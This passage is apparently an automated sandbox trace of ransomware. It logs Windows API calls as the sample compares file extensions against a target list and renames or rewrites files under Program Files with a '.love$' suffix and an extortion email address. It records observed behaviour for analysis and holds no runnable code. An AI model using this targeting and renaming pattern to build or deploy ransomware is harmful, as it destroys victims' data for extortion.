5 [0105.875] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0105.875] lstrlenW (lpString=".ppt") returned 4 [0105.875] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0105.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0105.875] lstrlenW (lpString=".zip") returned 4 [0105.875] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0105.875] lstrlenW (lpString=".rar") returned 4 [0105.875] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0105.875] lstrlenW (lpString=".bz2") returned 4 [0105.875] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0105.875] lstrlenW (lpString=".7z") returned 3 [0105.875] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0105.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0105.875] lstrlenW (lpString=".dbf") returned 4 [0105.876] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0105.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0105.876] lstrlenW (lpString=".1cd") returned 4 [0105.876] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0105.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0105.876] lstrlenW (lpString=".jpg") returned 4 [0105.876] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0105.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0105.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0105.876] lstrlenW (lpString=".doc") returned 4 [0105.876] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0105.876] lstrlenW (lpString=".docx") returned 5 [0105.876] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0105.876] lstrlenW (lpString=".pdf") returned 4 [0105.876] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0105.876] lstrlenW (lpString=".xls") returned 4 [0105.876] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0105.876] lstrlenW (lpString=".xlsx") returned 5 [0105.876] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0105.876] lstrlenW (lpString=".ppt") returned 4 [0105.876] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0105.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0105.876] lstrlenW (lpString=".zip") returned 4 [0105.876] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0105.876] lstrlenW (lpString=".rar") returned 4 [0105.876] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0105.876] lstrlenW (lpString=".bz2") returned 4 [0105.876] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0105.877] lstrlenW (lpString=".7z") returned 3 [0105.877] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0105.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0105.877] lstrlenW (lpString=".dbf") returned 4 [0105.877] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0105.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0105.877] lstrlenW (lpString=".1cd") returned 4 [0105.877] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0105.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0105.877] lstrlenW (lpString=".jpg") returned 4 [0105.877] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0105.877] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0105.877] lstrlenW (lpString="join.avi") returned 8 [0105.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0105.879] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=199994) returned 1 [0105.879] CloseHandle (hObject=0x2b8) returned 1 [0105.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0105.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0105.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0105.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0105.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0105.880] lstrlenW (lpString=".doc") returned 4 [0105.880] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0105.880] lstrlenW (lpString=".docx") returned 5 [0105.880] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0105.880] lstrlenW (lpString=".pdf") returned 4 [0105.880] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0105.880] lstrlenW (lpString=".xls") returned 4 [0105.880] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0105.880] lstrlenW (lpString=".xlsx") returned 5 [0105.880] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0105.880] lstrlenW (lpString=".ppt") returned 4 [0105.880] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0105.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0105.880] lstrlenW (lpString=".zip") returned 4 [0105.880] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0105.880] lstrlenW (lpString=".rar") returned 4 [0105.880] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0105.880] lstrlenW (lpString=".bz2") returned 4 [0105.880] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0105.881] lstrlenW (lpString=".7z") returned 3 [0105.881] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0105.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0105.881] lstrlenW (lpString=".dbf") returned 4 [0105.881] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0105.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0105.881] lstrlenW (lpString=".1cd") returned 4 [0105.881] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0105.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0105.881] lstrlenW (lpString=".jpg") returned 4 [0105.881] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0105.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0105.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0105.881] lstrlenW (lpString=".doc") returned 4 [0105.881] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0105.881] lstrlenW (lpString=".docx") returned 5 [0105.881] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0105.881] lstrlenW (lpString=".pdf") returned 4 [0105.881] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0105.881] lstrlenW (lpString=".xls") returned 4 [0105.881] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0105.881] lstrlenW (lpString=".xlsx") returned 5 [0105.881] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0105.881] lstrlenW (lpString=".ppt") returned 4 [0105.881] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0105.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0105.881] lstrlenW (lpString=".zip") returned 4 [0105.882] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0105.882] lstrlenW (lpString=".rar") returned 4 [0105.882] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0105.882] lstrlenW (lpString=".bz2") returned 4 [0105.882] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0105.882] lstrlenW (lpString=".7z") returned 3 [0105.882] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0105.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0105.882] lstrlenW (lpString=".dbf") returned 4 [0105.882] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0105.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0105.882] lstrlenW (lpString=".1cd") returned 4 [0105.882] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0105.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0105.882] lstrlenW (lpString=".jpg") returned 4 [0105.882] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0105.882] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0105.882] lstrlenW (lpString="split.avi") returned 9 [0105.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0106.020] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=181964) returned 1 [0106.020] CloseHandle (hObject=0x340) returned 1 [0106.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0106.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0106.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0106.021] lstrlenW (lpString=".doc") returned 4 [0106.021] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0106.021] lstrlenW (lpString=".docx") returned 5 [0106.021] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0106.021] lstrlenW (lpString=".pdf") returned 4 [0106.021] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0106.021] lstrlenW (lpString=".xls") returned 4 [0106.021] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0106.021] lstrlenW (lpString=".xlsx") returned 5 [0106.021] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0106.021] lstrlenW (lpString=".ppt") returned 4 [0106.021] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0106.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0106.021] lstrlenW (lpString=".zip") returned 4 [0106.021] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0106.021] lstrlenW (lpString=".rar") returned 4 [0106.021] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0106.021] lstrlenW (lpString=".bz2") returned 4 [0106.021] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0106.021] lstrlenW (lpString=".7z") returned 3 [0106.021] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0106.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0106.021] lstrlenW (lpString=".dbf") returned 4 [0106.021] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0106.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0106.021] lstrlenW (lpString=".1cd") returned 4 [0106.021] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0106.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0106.022] lstrlenW (lpString=".jpg") returned 4 [0106.022] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0106.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0106.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0106.022] lstrlenW (lpString=".doc") returned 4 [0106.022] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0106.022] lstrlenW (lpString=".docx") returned 5 [0106.022] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0106.022] lstrlenW (lpString=".pdf") returned 4 [0106.022] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0106.022] lstrlenW (lpString=".xls") returned 4 [0106.022] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0106.022] lstrlenW (lpString=".xlsx") returned 5 [0106.022] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0106.022] lstrlenW (lpString=".ppt") returned 4 [0106.022] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0106.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0106.022] lstrlenW (lpString=".zip") returned 4 [0106.022] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0106.022] lstrlenW (lpString=".rar") returned 4 [0106.022] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0106.022] lstrlenW (lpString=".bz2") returned 4 [0106.022] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0106.022] lstrlenW (lpString=".7z") returned 3 [0106.022] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0106.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0106.022] lstrlenW (lpString=".dbf") returned 4 [0106.022] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0106.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0106.023] lstrlenW (lpString=".1cd") returned 4 [0106.023] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0106.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0106.023] lstrlenW (lpString=".jpg") returned 4 [0106.023] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0106.023] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0106.023] lstrlenW (lpString="auxbase.xml") returned 11 [0106.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0106.027] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=1434) returned 1 [0106.027] CloseHandle (hObject=0x340) returned 1 [0106.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0106.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0106.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0106.028] lstrlenW (lpString=".doc") returned 4 [0106.028] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.028] lstrlenW (lpString=".docx") returned 5 [0106.028] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0106.028] lstrlenW (lpString=".pdf") returned 4 [0106.028] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.028] lstrlenW (lpString=".xls") returned 4 [0106.029] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.029] lstrlenW (lpString=".xlsx") returned 5 [0106.029] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0106.029] lstrlenW (lpString=".ppt") returned 4 [0106.029] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0106.029] lstrlenW (lpString=".zip") returned 4 [0106.029] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.029] lstrlenW (lpString=".rar") returned 4 [0106.029] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.029] lstrlenW (lpString=".bz2") returned 4 [0106.029] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.029] lstrlenW (lpString=".7z") returned 3 [0106.029] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0106.029] lstrlenW (lpString=".dbf") returned 4 [0106.029] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0106.029] lstrlenW (lpString=".1cd") returned 4 [0106.029] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0106.029] lstrlenW (lpString=".jpg") returned 4 [0106.029] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0106.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0106.029] lstrlenW (lpString=".doc") returned 4 [0106.029] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.030] lstrlenW (lpString=".docx") returned 5 [0106.030] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0106.030] lstrlenW (lpString=".pdf") returned 4 [0106.030] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.030] lstrlenW (lpString=".xls") returned 4 [0106.030] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.030] lstrlenW (lpString=".xlsx") returned 5 [0106.030] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0106.030] lstrlenW (lpString=".ppt") returned 4 [0106.030] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0106.030] lstrlenW (lpString=".zip") returned 4 [0106.030] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.030] lstrlenW (lpString=".rar") returned 4 [0106.030] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.030] lstrlenW (lpString=".bz2") returned 4 [0106.030] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.030] lstrlenW (lpString=".7z") returned 3 [0106.030] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0106.030] lstrlenW (lpString=".dbf") returned 4 [0106.030] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0106.030] lstrlenW (lpString=".1cd") returned 4 [0106.030] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0106.030] lstrlenW (lpString=".jpg") returned 4 [0106.030] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.031] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0106.031] lstrlenW (lpString="auxpad.xml") returned 10 [0106.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0106.038] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=212) returned 1 [0106.038] CloseHandle (hObject=0x340) returned 1 [0106.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0106.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0106.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0106.039] lstrlenW (lpString=".doc") returned 4 [0106.039] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.039] lstrlenW (lpString=".docx") returned 5 [0106.039] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0106.039] lstrlenW (lpString=".pdf") returned 4 [0106.039] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.039] lstrlenW (lpString=".xls") returned 4 [0106.039] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.039] lstrlenW (lpString=".xlsx") returned 5 [0106.039] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0106.039] lstrlenW (lpString=".ppt") returned 4 [0106.039] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0106.039] lstrlenW (lpString=".zip") returned 4 [0106.039] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.039] lstrlenW (lpString=".rar") returned 4 [0106.039] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.039] lstrlenW (lpString=".bz2") returned 4 [0106.039] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.039] lstrlenW (lpString=".7z") returned 3 [0106.039] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0106.039] lstrlenW (lpString=".dbf") returned 4 [0106.039] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0107.877] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[im.online@aol.com].love$")) returned 0 [0108.585] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.585] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.585] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0108.586] GetLastError () returned 0x0 [0108.586] ReadFile (in: hFile=0x368, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x99, lpOverlapped=0x0) returned 1 [0108.587] WriteFile (in: hFile=0x380, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xa0, lpOverlapped=0x0) returned 1 [0108.588] ReadFile (in: hFile=0x368, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0108.588] WriteFile (in: 